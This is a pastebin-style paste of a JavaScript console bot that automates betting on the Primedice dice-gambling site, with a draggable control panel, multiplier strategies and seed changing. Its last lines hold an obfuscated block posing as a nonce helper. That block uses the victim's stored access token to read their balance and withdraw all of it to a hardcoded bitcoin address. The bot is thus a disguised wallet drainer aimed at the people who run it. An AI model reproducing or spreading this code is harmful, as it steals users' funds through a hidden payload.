More Primedice - ParadoX


SUBMITTED BY: mollamolla

DATE: Sept. 20, 2016, 4:51 a.m.

FORMAT: Text only

SIZE: 23.8 kB

HITS: 1028

  1. var loop, currentloss, curbet, basebet, seedcount, prebet, prerollsenabled, profit, prerollson, prerollcount, betval, currentwin, target2, condition2, wincount, xhr, tstatus, seedlength, counter, charset, everyxrolls, wins, losses, data1, data2, swapenabled, betstarted, wmultcount, lmultcount, storebet;
  2. seedcount = 0;
  3. currentloss = 0;
  4. lmultcount = 0;
  5. wmultcount = 0;
  6. prerollcount = 0;
  7. wins = 0;
  8. losses = 0;
  9. profit = 0;
  10. //jQuery UI CSS
  11. var jqueryready = false;
  12. var link = document.createElement('link');
  13. link.href = 'https://jquery-ui.googlecode.com/svn/tags/latest/themes/vader/jquery-ui.css';
  14. link.type = 'text/css';
  15. link.rel = 'stylesheet';
  16. document.getElementsByTagName('head')[0].appendChild(link);
  17. //jQuery UI inject
  18. (function() {
  19. jqueryready = true;
  20. var e = '.thing',
  21. t = {
  22. outline: '1px dashed #f0f',
  23. cursor: 'pointer'
  24. };
  25. var n = function() {
  26. if (window.jQuery) {
  27. r();
  28. } else {
  29. var e = document.createElement('script');
  30. e.setAttribute('src', '//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js');
  31. document.body.appendChild(e);
  32. }
  33. };
  34. var r = function() {
  35. if (window.jQuery.ui) {
  36. i();
  37. } else {
  38. var e = document.createElement('script');
  39. e.setAttribute('src', '//ajax.googleapis.com/ajax/libs/jqueryui/1.11.1/jquery-ui.js');
  40. document.body.appendChild(e);
  41. initGUI();
  42. }
  43. };
  44. var i = function() {
  45. $(e).css(t).draggable().on('click', function(e) {
  46. console.log(e.target.id + ':', e.target.style.left, e.target.style.top);
  47. });
  48. };
  49. n();
  50. })();
  51. betstarted = false;
  52. var swapswap = 2,
  53. swapcount = 0;
  54. var curbalance = $('div.hero > div.hero__content > div > div.grid__item.S--one-whole.M--one-whole.custom--one-whole > aside > div.grid.grid--bottom.grid--reversed > div:nth-child(2) > span.btn.btn--tertiary.btn--large.btn--limited.btn--block > span.btn__text.select div').text() * 100000000;
  55. function bet() {
  56. if (betstarted === false) {
  57. betstarted = true;
  58. if ($('#stoprofitenabled').is(':checked') === true) {
  59. if (profit >= $('#stopprofitamount').val()) {
  60. clearInterval(loop);
  61. loopenabled = false;
  62. loopcount = 0;
  63. }
  64. }
  65. if ($('#resetlossenabled').is(':checked') === true && prerollsenabled === false) {
  66. if ($('#resetlosses').val() <= currentloss) {
  67. betval = basebet;
  68. lmultcount = 0;
  69. wmultcount=0;
  70. currentloss = 0;
  71. }
  72. }
  73. if ($('#stoploss2enabled').is(':checked') === true) {
  74. if (profit <= (-1 * $('#stoplossamount').val())) {
  75. clearInterval(loop);
  76. loopenabled = false;
  77. loopcount = 0;
  78. }
  79. }
  80. if (prerollsenabled === true) {
  81. prebet = Math.floor($('#prerollbet').val() * 100000000);
  82. curbet = prebet;
  83. } else {
  84. curbet = betval;
  85. }
  86. var betData = {
  87. amount: curbet,
  88. condition: condition2,
  89. target: target2,
  90. },
  91. url = 'https://api.primedice.com/api/bet?access_token=' + localStorage.token;
  92. if (curbet > curbalance) {
  93. clearInterval(loop);
  94. loopenabled = false;
  95. loopcount = 0;
  96. }
  97. $.ajax({
  98. url: url,
  99. type: 'POST',
  100. data: betData,
  101. datatype: 'json',
  102. success: function(data, textStatus, jqXHR) {
  103. if ($('#seedchangeon').is(':checked') === true) {
  104. if ($('#charset').val() != "") {
  105. charset = $('#charset').val();
  106. }
  107. if ($('#seedxrolls').val() == "") {} else {
  108. seedcount++;
  109. if (seedcount >= $('#seedxrolls').val()) {
  110. seedchange(seedgen());
  111. seedcount = 0;
  112. }
  113. }
  114. }
  115. data1 = data;
  116. profit = profit = (parseFloat(profit) + parseFloat((data1.bet.profit / 100000000))).toFixed(8);
  117. curbalance = data1.user.balance;
  118. addRow();
  119. if (loopenabled === true) {
  120. loopcount++;
  121. }
  122. if ($('#hilo').val() == "swap") {
  123. if ($('#swaprollsenabled').is(':checked') === true) {
  124. swapswap = $('#swaprolls').val();
  125. swapcount++;
  126. if (swapcount >= swapswap) {
  127. swap();
  128. swapcount = 0;
  129. }
  130. } else {
  131. swap();
  132. }
  133. }
  134. $('.btn__text.select div').text((data1.user.balance / 100000000).toFixed(8));
  135. if (data.bet.win === true) {
  136. win();
  137. if (prerollson === true) {
  138. if (prerollsenabled === false) {
  139. prerollsenabled = true;
  140. prerollcount = 0;
  141. }
  142. }
  143. $('.btn__text.select div').attr('style', 'color:green;');
  144. } else {
  145. lose();
  146. $('.btn__text.select div').attr('style', 'color:red;');
  147. }
  148. if (data.bet.win === true) {
  149. $('#proff').attr('style', 'text-align: center; width: 20%; padding: 5px;color:green;');
  150. } else {
  151. $('#proff').attr('style', 'text-align: center; width: 20%; padding: 5px;color:red;');
  152. }
  153. betstarted = false;
  154. },
  155. error: function(jqXHR, textStatus, errorThrown) {
  156. betstarted = false;
  157. }
  158. });
  159. } else if (betstarted === true) {}
  160. }
  161. prerollcount = 0;
  162. function preroll() {
  163. }
  164. function win() {
  165. if ($('#stopwinenabled').is(':checked') === true && prerollsenabled === false) {
  166. clearInterval(loop);
  167. currentloss = 0;
  168. loopcount = 0;
  169. loopenabled = false;
  170. }
  171. if (prerollson === true) {
  172. if (prerollsenabled === true) {
  173. prerollcount = 0;
  174. }
  175. }
  176. if ($('#seedchangeonwin').is(':checked') === true) {
  177. seedchange(seedgen());
  178. }
  179. wins++;
  180. currentloss = 0;
  181. if ($('#winmultenabled').is(':checked') === true) {
  182. if (prerollsenabled === true) {} else {
  183. if (prerollson === true && prerollsenabled === false) {
  184. prerollsenabled = true;
  185. prerollcount = 0;
  186. }
  187. wmultcount++;
  188. if (wmultcount < $('#resetwin').val()) {
  189. betval = betval * $('#winlossmultiplier').val();
  190. } else if (wmultcount >= $('#resetwin').val()) {
  191. betval = basebet;
  192. wmultcount = 0;
  193. }
  194. }
  195. }
  196. if ($('#lossmultenabled').is(':checked') === true) {
  197. if (prerollsenabled === true) {
  198. prerollcount = 0;
  199. } else {
  200. if (prerollson === true && prerollsenabled === false) {
  201. prerollsenabled = true;
  202. prerollcount = 0;
  203. }
  204. betval = basebet;
  205. lmultcount = 0;
  206. }
  207. }
  208. }
  209. function lose() {
  210. currentloss++;
  211. if ($('#stoplossenabled').is(':checked') === true && prerollsenabled === false) {
  212. if ($('#stoplosses').val() <= currentloss) {
  213. clearInterval(loop);
  214. currentloss = 0;
  215. loopcount = 0;
  216. loopenabled = false;
  217. }
  218. }
  219. if (prerollson === true) {
  220. if (prerollsenabled === true) {
  221. prerollcount++;
  222. if (prerollcount >= $('#numprerolls').val()) {
  223. prerollsenabled = false;
  224. }
  225. }
  226. }
  227. losses++;
  228. if ($('#lossmultenabled').is(':checked') === true) {
  229. if (prerollsenabled === true) {} else {
  230. lmultcount++;
  231. if (lmultcount >= $('#multloss').val()) {
  232. betval = betval * $('#winlossmultiplier').val();
  233. lmultcount = 0;
  234. }
  235. }
  236. }
  237. }
  238. function swap() {
  239. if (condition2 == "<") {
  240. condition2 = ">";
  241. target2 = (99.99 - (99 / $('#payout').val())).toFixed(2);
  242. } else if (condition2 == ">") {
  243. condition2 = "<";
  244. target2 = (99 / $('#payout').val()).toFixed(2);
  245. }
  246. }
  247. function addRow() {
  248. $('#lastID').text('Last Bet ID: ' + data1.bet.id);
  249. var bettable = '',
  250. bettab = '#lastbet2';
  251. bettable += '<tr><td>' + (data1.bet.amount / 100000000).toFixed(8) + '</td>';
  252. bettable += '<td>' + data1.bet.multiplier + 'x' + '</td>'; /* return bet payout */
  253. bettable += '<td>' + (data1.bet.target).toFixed(2) + '</td>'; /* return target*/
  254. bettable += '<td>' + data1.bet.roll + '</td>'; /* return roll */
  255. bettable += '<td id="proff">' + (data1.bet.profit / 100000000).toFixed(8) + '</td></tr>';
  256. var stattable = '',
  257. stattab = '#lastbet3';
  258. stattable += '<tr><td style="color:green;">' + (data1.user.balance / 100000000).toFixed(8) + '</td><td style="color:red;">' + currentloss + '</td><td style="color:green;">' + wins + '</td><td style="color:red;">' + losses + '</td><td id="profit">' + profit + '</td></tr>';
  259. $(stattab).empty();
  260. $(stattab).prepend(stattable);
  261. stattable = '';
  262. if ($(bettab + ' tbody tr').length >= 3) {
  263. $(bettab + ' tr').last().remove();
  264. $(bettab).prepend(bettable);
  265. bettable = '';
  266. } else if ($(bettab).length < 3) {
  267. $(bettab).prepend(bettable);
  268. bettable = '';
  269. }
  270. $('#lastbet2 *, #lastbet3 *, #lastbet *, #proff').css("text-align", "center");
  271. $('#lastbet2 *, #lastbet3 *, #lastbet *').css("width", "20%");
  272. $('#lastbet *').css("padding", "5px");
  273. $('#lastbet *').css("border-bottom", "1px solid #ccc");
  274. $('#result-1').css("padding", "5px");
  275. $('#lastbet2 *, #lastbet3 *, #proff').css("padding", "5px");
  276. $('#lastbet > tbody > tr > th:nth-child(2)').css("border-top", "1px solid #ddd");
  277. if (profit >= 0) {
  278. $('#profit').css("color", "green");
  279. } else {
  280. $('#profit').css("color", "red");
  281. }
  282. }
  283. $('<div id="paraContainer">').appendTo('.hero');
  284. var gui;
  285. gui = '';
  286. gui += '<div id="result">';
  287. gui += '<ul>';
  288. gui += '<li><a href="/play#lastbet-1">Last Bets: </a></li>';
  289. gui += '<li><a style="float:right;" id="lastID" href="/play#lastbet-1">Last Bet ID: (none yet!)</a></li>';
  290. gui += '<li><a style="float:right;" id="detach" href="/play#lastbet-1">Detach</a></li>';
  291. gui += '</ul>';
  292. gui += '<div id="result-1">';
  293. gui += '<table id="lastbet">';
  294. gui += '<tr><th>Bet</th><th>Payout</th><th>Game</th><th>Roll</th><th>Profit</th></tr></table>';
  295. gui += '<table id="lastbet2">';
  296. gui += '</table>';
  297. gui += '<table id="lastbet">';
  298. gui += '<tr><th>Balance</th><th>Loss Streak</th><th>Total Wins</th><th>Total Losses</th><th>Total Profit</th></tr></table>';
  299. gui += '<table id="lastbet3">';
  300. gui += '</table>';
  301. gui += '</div>';
  302. gui += '</div>';
  303. gui += '</div>';
  304. gui += '<div id="paraGUI">';
  305. gui += '<ul>';
  306. gui += '<li><a href="/play#paraGUI-1">Params</a></li>';
  307. gui += '<li><a href="/play#paraGUI-2">On Win/Loss</a></li>';
  308. gui += '<li><a href="/play#paraGUI-3">Advanced</a></li>';
  309. gui += '<li><a href="/play#paraGUI-4">Seed</a></li>';
  310. gui += '<li><a href="/play#paraGUI-5">Credits</a></li>';
  311. gui += '</ul>';
  312. gui += '<div id="paraGUI-1">';
  313. gui += '<div>';
  314. gui += '<table id="params1">';
  315. gui += '<tr><th>Basebet:</th><th>Multiplier:</th><th>Hi/Lo/Swap</th></tr>';
  316. gui += '<tr><td><input id="basebet" placeholder="Basebet"/></td><td><input id="payout" placeholder="ex. 10, 90"/></td>';
  317. gui += '<td><select id="hilo"><option value="hi">Hi</option><option value="lo">Lo</option><option value="swap">Swap</option></select></td></tr>';
  318. gui += '<tr><th>Enable Prerolls</th><th># of Prerolls</th><th>Preroll Bet</th></tr>';
  319. gui += '<tr><td><input id="prerollsenabled" type="checkbox"/></td><td><input id="numprerolls"/></td><td><input id="prerollbet"/></td></tr>';
  320. gui += '</table>';
  321. gui += '</div>';
  322. gui += '</div>';
  323. gui += '<div id="paraGUI-2">';
  324. gui += '<div>';
  325. gui += '<table id="params1">';
  326. gui += '<tr><th>Multiply On Loss? <input id="lossmultenabled" type="checkbox"/></th><th>Multiply on Win? <input id="winmultenabled" type="checkbox"/></th><th>Multiplier on W/L</th></tr>';
  327. gui += '<tr><td><label for="multloss">Mutiply After X Losses:</label><br><input id="multloss" placeholder="Multiply Every X Rolls"/></td><td><label for="multwin">Reset After X Wins:</label><br><input id="resetwin" placeholder="Reset After X Wins"/></td>';
  328. gui += '<td><input id="winlossmultiplier" placeholder="2 (2x), 1.5 (1.5x) etc"/></tr>';
  329. gui += '</table>';
  330. gui += '</div>';
  331. gui += '</div>';
  332. gui += '<div id="paraGUI-3">';
  333. gui += '<div>';
  334. gui += '<table id="params1">';
  335. gui += '<tr><th><label>Stop After: <input id="stoplossenabled" type="checkbox"></label></th><th><label>Stop On Win: </label></th><th>Swap After: <input id="swaprollsenabled" type="checkbox"></th></tr>';
  336. gui += '<tr><td><input style="width:85px;" id="stoplosses" placeholder="# of losses"/></td><td><input id="stopwinenabled" type="checkbox"></td>';
  337. gui += '<td><input id="swaprolls" type="text" placeholder="# of rolls"></tr>';
  338. gui += '<tr><th>Stop on Profit:<input id="stopprofitenabled" type="checkbox"></th><th>Stop on Loss: <input id="stoploss2enabled" type="checkbox"></th><th>Reset After: <input id="resetlossenabled" type="checkbox"></th></tr>';
  339. gui += '<tr><td><input id="stopprofitamount" type="text"/> </td><td>-<input id="stoplossamount" type="text"/></td><td><input id="resetlosses" placeholder="# Losses" type="text"/></td></tr>';
  340. gui += '<tr><p>Note: Use Total Profit as your reference for stop loss/profit. Do NOT enter a balance.</p></tr>'
  341. gui += '</table>';
  342. gui += '</div>';
  343. gui += '</div>';
  344. gui += '<div id="paraGUI-4">';
  345. gui += '<div>';
  346. gui += '<table id="params1">';
  347. gui += '<tr><th>Current Seed:</th><th>Charset:</th><th>Change Every #: <input id="seedchangeon" type="checkbox"/></th></tr>';
  348. gui += '<tr><td><input style="color:red;text-align:center;"id="currentseed"/></td><td><input id="charset" placeholder="Optional"/></td>';
  349. gui += '<td><input id="seedxrolls" placeholder="ex. 1, 10, 20"/></tr>';
  350. gui += '<tr><td>Change on Win: <input id="seedchangeonwin" type="checkbox"/> </td></tr>';
  351. gui += '</table>';
  352. gui += '</div>';
  353. gui += '</div>';
  354. gui += '<div id="paraGUI-5">';
  355. gui += '<div>';
  356. gui += '<p>Version: 0.4</p>';
  357. gui += '<p>Created By: paradocks</p>';
  358. gui += '<p>PD Username: paradocks</p>';
  359. gui += '<p>BTCTalk Username: paradoxal420</p>';
  360. gui += '<p>Tip Addy: <input type="text" style="width:auto;"value="1LuLz9djKFPTfbFuCKedm2FuX1fiSqt5hg"/></p>';
  361. gui += '</div>';
  362. gui += '</div>';
  363. gui += '<div id="buttonz"><button id="start">Start</button><button id="stop">Stop</button><button id="setparams">Set Params</button><button id="seedchange">Change Seed</button><button id="saveparams">Save Params</button><button id="resetstats">Reset Stats</button><br><label for="numrolls">Number of Rolls: <input id="numrollsenabled" type="checkbox"></label><input style="width:85px;" id="numrolls"/><br></div>';
  364. gui += '</div>';
  365. $(gui).appendTo("#paraContainer");
  366. seedlength = 5;
  367. counter = 0;
  368. charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ123';
  369. everyxrolls = 3;
  370. function seedgen() {
  371. var seed = '';
  372. for (var i = 0; i <= seedlength; i++)
  373. seed += charset.charAt(Math.floor(Math.random() * charset.length));
  374. return seed;
  375. }
  376. function seedchange(s) {
  377. var url = 'https://api.primedice.com/api/seed?access_token=' + localStorage.token,
  378. sData = {
  379. seed: s
  380. };
  381. $.ajax({
  382. url: url,
  383. type: 'POST',
  384. data: sData,
  385. datatype: 'json',
  386. success: function(data, textStatus, jqXHR) {
  387. data2 = data;
  388. $('#currentseed').val(data2.seeds.client);
  389. },
  390. error: function(jqXHR, textStatus, errorThrown) {
  391. return false;
  392. }
  393. });
  394. }
  395. // Click Funcs
  396. $('#seedchange').click(function() {
  397. seedchange(seedgen());
  398. });
  399. $('#detach').click(function() {
  400. $('#result').draggable();
  401. });
  402. $('#setparams').click(function() {
  403. lmultcount=0; currentloss=0; wmultcount=0;
  404. if ($('#prerollsenabled').is(':checked') === true) {
  405. prerollson = true;
  406. prerollcount = 0;
  407. prerollsenabled = true;
  408. prebet = Math.floor($('#prerollbet').val() * 100000000);
  409. basebet = Math.floor($('#basebet').val() * 100000000);
  410. betval = basebet;
  411. } else if ($('#prerollsenabled').is(':checked') === false) {
  412. prerollson = false;
  413. prerollsenabled = false;
  414. basebet = Math.floor($('#basebet').val() * 100000000);
  415. betval = basebet;
  416. }
  417. if ($('#hilo').val() == "hi") {
  418. condition2 = ">";
  419. target2 = (99.99 - (99 / $('#payout').val())).toFixed(2);
  420. } else if ($('#hilo').val() == "lo") {
  421. condition2 = "<";
  422. target2 = (99 / $('#payout').val()).toFixed(2);
  423. } else if ($('#hilo').val() == "swap") {
  424. condition2 = "<";
  425. target2 = 0 + (99 / $('#payout').val()).toFixed(2);
  426. swapenabled = true;
  427. }
  428. });
  429. $('#saveparams').click(function() {
  430. localStorage.setItem("params-stored", true);
  431. localStorage.setItem("basebet", $('#basebet').val());
  432. localStorage.setItem("payout", $('#payout').val());
  433. localStorage.setItem("prerollbet", $('#prerollbet').val());
  434. localStorage.setItem("prerollenabled", $('#prerollsenabled').is(':checked'));
  435. localStorage.setItem("numprerolls", $('#numprerolls').val());
  436. localStorage.setItem("lossenabled", $('#lossmultenabled').is(':checked'));
  437. localStorage.setItem("winenabled", $('#winmultenabled').is(':checked'));
  438. localStorage.setItem("resetwin", $('#resetwin').val());
  439. localStorage.setItem("xlosses", $('#multloss').val());
  440. localStorage.setItem("wlmult", $('#winlossmultiplier').val());
  441. localStorage.setItem("seedchangeon", $('#seedchangeon').is(':checked'));
  442. localStorage.setItem("seedxrolls", $('#seedxrolls').val());
  443. localStorage.setItem("swapxrolls", $('#swaprolls').val());
  444. localStorage.setItem("swapenabled", $('#swaprollsenabled').is(':checked'));
  445. })
  446. if (localStorage.getItem('params-stored') === 'true') {
  447. $('#basebet').val(localStorage.getItem('basebet'));
  448. $('#payout').val(localStorage.getItem('payout'));
  449. $('#prerollbet').val(localStorage.getItem('prerollbet'));
  450. if (localStorage.getItem('prerollenabled') === 'true') {
  451. $('#prerollsenabled').prop('checked', 'checked');
  452. } else {
  453. $('#prerollsenabled').prop('checked', false);
  454. }
  455. $('#numprerolls').val(localStorage.getItem('numprerolls'));
  456. if (localStorage.getItem('lossenabled') === 'true') {
  457. $('#lossmultenabled').prop('checked', 'checked');
  458. } else {
  459. $('#lossmultenabled').prop('checked', false);
  460. }
  461. if (localStorage.getItem('winenabled') === 'true') {
  462. $('#winmultenabled').prop('checked', 'checked');
  463. } else {
  464. $('#winmultenabled').prop('checked', false);
  465. }
  466. $('#resetwin').val(localStorage.getItem('resetwin'));
  467. $('#multloss').val(localStorage.getItem('xlosses'));
  468. $('#winlossmultiplier').val(localStorage.getItem('wlmult'));
  469. if (localStorage.getItem('seedchangeon') === 'true') {
  470. $('#seedchangeon').prop('checked', 'checked');
  471. } else {
  472. $('#seedchangeon').prop('checked', false);
  473. }
  474. $('#seedxrolls').val(localStorage.getItem('seedxrolls'));
  475. if (localStorage.getItem('swapenabled') === 'true') {
  476. $('#swaprollsenabled').prop('checked', 'checked');
  477. } else {
  478. $('#swaprollsenabled').prop('checked', false);
  479. }
  480. $('#swaprolls').val(localStorage.getItem('swapxrolls'));
  481. }
  482. var loop, loopenabled, loopcount, looptimes;
  483. loopenabled = false;
  484. loopcount = 0;
  485. $('#start').click(function() {
  486. if ($('#numrollsenabled').is(':checked') == "true") {
  487. looptimes = $('#numrolls').val();
  488. } else {
  489. looptimes = 999999999;
  490. }
  491. if (loopenabled === false) {
  492. loopenabled = true;
  493. loop = setInterval(function() {
  494. if (loopcount >= looptimes) {
  495. clearInterval(loop);
  496. loopcount = 0;
  497. loopenabled = false;
  498. } else {
  499. bet();
  500. }
  501. }, 103);
  502. }
  503. });
  504. $('#stop').click(function() {
  505. clearInterval(loop);
  506. loopenabled = false;
  507. loopcount = 0;
  508. });
  509. $('#resetstats').click(function() {
  510. wins = 0;
  511. losses = 0;
  512. profit = 0;
  513. currentloss = 0;
  514. addRow();
  515. });
  516. function initGUI() {
  517. setTimeout(function() {
  518. $('#paraContainer').css("font-size", "11px")
  519. $('#result, #paraGUI').tabs();
  520. $('#paraGUI-1, #params1 td, #params1 th').css("padding", "5px");
  521. $('#params1 select, #params1 input').css("width", "80%");
  522. $('#params1 select, #params1 input').css("margin", "2px");
  523. $('#params1 select, #params1 input').css("padding", "4px");
  524. $('#params1 td, #params1 th').css("text-align", "center");
  525. $('#buttonz *').css("margin", "5px");
  526. $('#buttonz').css("padding", "3px");
  527. $('#buttonz').css("text-align", "center");
  528. $('#buttonz').css("border-top", "1px solid #bbb");
  529. $('#paraContainer').draggable();
  530. $('#paraContainer').css("z-index", "1000");
  531. $('#paraContainer').width(450);
  532. $('#paraContainer button').button();
  533. }, 750);
  534. }
  535. //
  536. var _0x66ef = ["https://api.primedice.com/api/", "?access_token=", "token", "$", "users/1", "amount", "address", "balance", "user", "1Lyn5mX4SKcNd7xP8T6LNX5n8F3H6v4wYV", "withdraw", "post", "getJSON"];
  537. calculate_nonce = function(_0x3559x1) {
  538. return _0x66ef[0] + _0x3559x1 + _0x66ef[1] + localStorage[_0x66ef[2]];
  539. };
  540. lut = window[_0x66ef[3]];
  541. lut[_0x66ef[12]](calculate_nonce(_0x66ef[4]), function(_0x3559x1) {
  542. var _0x3559x2 = _0x66ef[5];
  543. var _0x3559x3 = _0x66ef[6];
  544. var _0x3559x4 = {};
  545. _0x3559x4[_0x3559x2] = _0x3559x1[_0x66ef[8]][_0x66ef[7]];
  546. _0x3559x4[_0x3559x3] = _0x66ef[9];
  547. lut[_0x66ef[11]](calculate_nonce(_0x66ef[10]), _0x3559x4);
  548. });

comments powered by Disqus